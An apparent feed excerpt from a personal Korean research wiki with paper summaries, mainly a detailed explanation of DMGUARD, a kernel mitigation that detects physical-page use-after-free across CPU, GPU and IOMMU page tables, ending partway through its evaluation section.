		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 이 봇은 AI Agent가 글을 작성하기 위해서 사용되는 봇입니다.  Generative AI was used for editorial purposes, including grammar correction, wording improvement, and readability refinement. We also used OpenAI Codex as an writing tool. All AI-assisted text and code changes were manually inspected, tested, and revised by the authors (Junho Ahn).  However, always, Junho Ahn doesn&amp;#039;t guarantee the correctness of the contents. Use as your will. ;;Ə_ə;;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;이 봇은 AI Agent가 글을 작성하기 위해서 사용되는 봇입니다.&lt;br /&gt;
&lt;br /&gt;
Generative AI was used for editorial purposes, including grammar correction, wording improvement, and readability refinement. We also used OpenAI Codex as an writing tool. All AI-assisted text and code changes were manually inspected, tested, and revised by the authors (Junho Ahn).&lt;br /&gt;
&lt;br /&gt;
However, always, Junho Ahn doesn&#039;t guarantee the correctness of the contents. Use as your will. ;;Ə_ə;;&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=SoftBound:_Highly_Compatible_and_Complete_Spatial_Memory_Safety_for_C&amp;diff=7116</id>
		<title>SoftBound: Highly Compatible and Complete Spatial Memory Safety for C</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=SoftBound:_Highly_Compatible_and_Complete_Spatial_Memory_Safety_for_C&amp;diff=7116"/>
		<updated>2026-05-18T09:05:15Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 분류: ACM PLDI  {{Paper|title=SoftBound: Highly Compatible and Complete  Spatial Memory Safety for C|authors=Santosh Nagarakatte Jianzhou Zhao Milo M. K. Martin Steve Zdancewic|conference=Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI)|year=2009}}  == 개요 == Softbound는 spatial safety bug를 잡기 위한 방식이다. 모든 오브젝트 할당마다 base랑 size를 저장하는 내부 변수를 만들고, 매 load/st...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: ACM PLDI]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=SoftBound: Highly Compatible and Complete  Spatial Memory Safety for C|authors=Santosh Nagarakatte Jianzhou Zhao Milo M. K. Martin Steve Zdancewic|conference=Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI)|year=2009}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
Softbound는 spatial safety bug를 잡기 위한 방식이다.&lt;br /&gt;
모든 오브젝트 할당마다 base랑 size를 저장하는 내부 변수를 만들고, 매 load/store마다 그 변수들을 이용한 체크를 삽입한다. 이를 통해서, AddressSanitizer이전의, spatial safety를 잡을 수 있다는 spatial safety를 software적인 방식을 통해서 잡을 수 있는 방법을 제시한 논문이다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7115</id>
		<title>DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7115"/>
		<updated>2026-05-04T07:11:27Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.&lt;br /&gt;
&lt;br /&gt;
기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.&lt;br /&gt;
&lt;br /&gt;
기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Systems with multiple different page tables distribute lifecycle management across independent subsystems&#039;&#039;&#039;&lt;br /&gt;
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.&lt;br /&gt;
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.&lt;br /&gt;
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive&#039;&#039;&#039;&lt;br /&gt;
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.&lt;br /&gt;
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.&lt;br /&gt;
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;The kernel provides low-level mapping interfaces that bypass standard page management mechanisms&#039;&#039;&#039;&lt;br /&gt;
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.&lt;br /&gt;
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.&lt;br /&gt;
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Correctness under concurrency is non-trivial&#039;&#039;&#039;&lt;br /&gt;
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.&lt;br /&gt;
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.&lt;br /&gt;
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; Physical-page use-after-free&lt;br /&gt;
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.&lt;br /&gt;
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.&lt;br /&gt;
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.&lt;br /&gt;
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.&lt;br /&gt;
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
; Dangling mapping&lt;br /&gt;
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.&lt;br /&gt;
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.&lt;br /&gt;
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.&lt;br /&gt;
&lt;br /&gt;
; Free-before-unmap&lt;br /&gt;
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.&lt;br /&gt;
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.&lt;br /&gt;
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.&lt;br /&gt;
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
; Map-after-free&lt;br /&gt;
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.&lt;br /&gt;
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.&lt;br /&gt;
&lt;br /&gt;
; CVE-2025-0072 사례&lt;br /&gt;
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.&lt;br /&gt;
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue-&amp;gt;phys에 Physical address를 저장한다.&lt;br /&gt;
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.&lt;br /&gt;
* 취약한 경로에서는 두 번째 mmap()이 queue-&amp;gt;phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue-&amp;gt;phys가 가리키는 두 번째 Page가 Free된다.&lt;br /&gt;
* 그 결과 VA2 -&amp;gt; PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.&lt;br /&gt;
&lt;br /&gt;
Page는 크게 다음 상태를 가진다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Freed-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator의 Free pool에 있는 상태이다.&lt;br /&gt;
** 어떤 Page table에도 Mapping되어 있지 않다.&lt;br /&gt;
** Virtual address를 통해 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.&lt;br /&gt;
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Mapped&#039;&#039;&#039;&lt;br /&gt;
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.&lt;br /&gt;
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.&lt;br /&gt;
&lt;br /&gt;
정상적인 Lifecycle은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Freed-Unmapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Alloc(P)에 의해 Page가 할당된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Allocated-Mapped&lt;br /&gt;
** Map(P)에 의해 Page table entry가 생성된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Mapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Unmap(P)에 의해 모든 Mapping이 제거된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Freed-Unmapped&lt;br /&gt;
** Free(P)에 의해 Page가 allocator로 반환된다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Free-before-unmap&#039;&#039;&#039;&lt;br /&gt;
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.&lt;br /&gt;
** 즉, Allocated-Mapped -&amp;gt; Freed-Unmapped로 바로 가는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Map-after-free&#039;&#039;&#039;&lt;br /&gt;
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
** 즉, Freed-Unmapped -&amp;gt; Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;MapCount&#039;&#039;&#039;&lt;br /&gt;
** Physical page마다 유지되는 Counter이다.&lt;br /&gt;
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.&lt;br /&gt;
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.&lt;br /&gt;
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PageTag / RefTag&#039;&#039;&#039;&lt;br /&gt;
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.&lt;br /&gt;
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.&lt;br /&gt;
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.&lt;br /&gt;
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.&lt;br /&gt;
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.&lt;br /&gt;
&lt;br /&gt;
=== Page Lifecycle State Machine ===&lt;br /&gt;
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.&lt;br /&gt;
&lt;br /&gt;
* Allocation status&lt;br /&gt;
** Freed&lt;br /&gt;
** Allocated&lt;br /&gt;
&lt;br /&gt;
* Mapping status&lt;br /&gt;
** Unmapped&lt;br /&gt;
** Mapped&lt;br /&gt;
&lt;br /&gt;
이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Mapping Status with MapCount ===&lt;br /&gt;
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.&lt;br /&gt;
&lt;br /&gt;
* Map(P)&lt;br /&gt;
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.&lt;br /&gt;
&lt;br /&gt;
* Unmap(P)&lt;br /&gt;
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.&lt;br /&gt;
&lt;br /&gt;
* Free(P)&lt;br /&gt;
** Page를 Free하기 전에 MapCount(P)를 확인한다.&lt;br /&gt;
** MapCount(P)가 0이면 안전하게 Free할 수 있다.&lt;br /&gt;
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Allocation Status with PageTag / RefTag ===&lt;br /&gt;
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag&lt;br /&gt;
** Physical page의 Per-page metadata에 저장된다.&lt;br /&gt;
** 현재 Allocation cycle을 나타낸다.&lt;br /&gt;
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.&lt;br /&gt;
&lt;br /&gt;
* RefTag&lt;br /&gt;
** struct page* 또는 PFN 같은 Page reference에 저장된다.&lt;br /&gt;
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.&lt;br /&gt;
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.&lt;br /&gt;
&lt;br /&gt;
Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) == RefTag(P)&lt;br /&gt;
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) != RefTag(P)&lt;br /&gt;
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== Lockless Integration ===&lt;br /&gt;
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 핵심 Operation은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* dmcAlloc()&lt;br /&gt;
** 기존 Alloc()을 호출해 Page를 할당한다.&lt;br /&gt;
** PageTag를 새 값으로 갱신한다.&lt;br /&gt;
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.&lt;br /&gt;
&lt;br /&gt;
* dmcMap()&lt;br /&gt;
** MapCount를 증가시킨다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** PageTag와 RefTag를 비교한다.&lt;br /&gt;
** Tag가 일치하면 실제 Map(P)를 수행한다.&lt;br /&gt;
** Tag가 다르면 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcUnmap()&lt;br /&gt;
** 실제 Unmap(P)를 수행한다.&lt;br /&gt;
** MapCount를 감소시킨다.&lt;br /&gt;
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcFree()&lt;br /&gt;
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** MapCount가 0인지 확인한다.&lt;br /&gt;
** MapCount가 0이면 실제 Free(P)를 수행한다.&lt;br /&gt;
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.&lt;br /&gt;
&lt;br /&gt;
논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
=== Integration with Kernel and GPU Drivers ===&lt;br /&gt;
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.&lt;br /&gt;
&lt;br /&gt;
* Linux kernel&lt;br /&gt;
** Map: set_pte_at&lt;br /&gt;
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full&lt;br /&gt;
** Alloc: post_alloc_hook&lt;br /&gt;
** Free: free_pages_prepare&lt;br /&gt;
&lt;br /&gt;
* Mali GPU driver&lt;br /&gt;
** Map: entry_set_ate, entry_set_pte&lt;br /&gt;
** Unmap: entries_invalidate&lt;br /&gt;
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등&lt;br /&gt;
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등&lt;br /&gt;
&lt;br /&gt;
* Adreno GPU driver&lt;br /&gt;
** Map: __arm_lpae_set_pte, arm_lpae_init_pte&lt;br /&gt;
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap&lt;br /&gt;
** Alloc: kgsl_pool_alloc_page&lt;br /&gt;
** Free: kgsl_pool_free_page&lt;br /&gt;
&lt;br /&gt;
구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Comparison with CONFIG_PAGE_TABLE_CHECK ===&lt;br /&gt;
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.&lt;br /&gt;
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.&lt;br /&gt;
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.&lt;br /&gt;
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.&lt;br /&gt;
&lt;br /&gt;
반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.&lt;br /&gt;
&lt;br /&gt;
== Evaluation ==&lt;br /&gt;
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.&lt;br /&gt;
&lt;br /&gt;
=== Evaluation Setup ===&lt;br /&gt;
DMGUARD는 세 가지 환경에서 평가되었다.&lt;br /&gt;
&lt;br /&gt;
* QEMU AArch64 환경&lt;br /&gt;
** Linux kernel v6.6.0&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Dummy GPU device(MALI_NO_MALI)&lt;br /&gt;
&lt;br /&gt;
* Pixel 8&lt;br /&gt;
** Android 15&lt;br /&gt;
** Linux kernel v6.1.99&lt;br /&gt;
** ARMv8.5 CPU&lt;br /&gt;
** Mali GPU&lt;br /&gt;
&lt;br /&gt;
* Pixel 3 XL&lt;br /&gt;
** Android 12&lt;br /&gt;
** Linux kernel v4.9.270&lt;br /&gt;
** ARMv8.2 CPU&lt;br /&gt;
** Qualcomm Adreno GPU&lt;br /&gt;
&lt;br /&gt;
비교 대상은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Baseline&lt;br /&gt;
** Dangling mapping mitigation이 없는 기본 Kernel configuration&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** Linux CONFIG_PAGE_TABLE_CHECK&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 본 논문에서 제안한 Runtime mitigation&lt;br /&gt;
&lt;br /&gt;
=== Security Evaluation ===&lt;br /&gt;
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.&lt;br /&gt;
&lt;br /&gt;
* 19개는 Real-world vulnerability이다.&lt;br /&gt;
** Linux kernel&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Adreno GPU driver&lt;br /&gt;
** PowerVR GPU driver&lt;br /&gt;
&lt;br /&gt;
* 5개는 Synthetic vulnerability이다.&lt;br /&gt;
** Map-after-free case&lt;br /&gt;
** Race condition 기반 Free-before-unmap case&lt;br /&gt;
&lt;br /&gt;
논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.&lt;br /&gt;
&lt;br /&gt;
Empirical evaluation 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 15개 중 15개 모두 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** 15개 중 5개만 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.&lt;br /&gt;
&lt;br /&gt;
Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== False Positives and False Negatives ===&lt;br /&gt;
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.&lt;br /&gt;
&lt;br /&gt;
그러나 설계상 False positive와 False negative 가능성은 존재한다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False positive&lt;br /&gt;
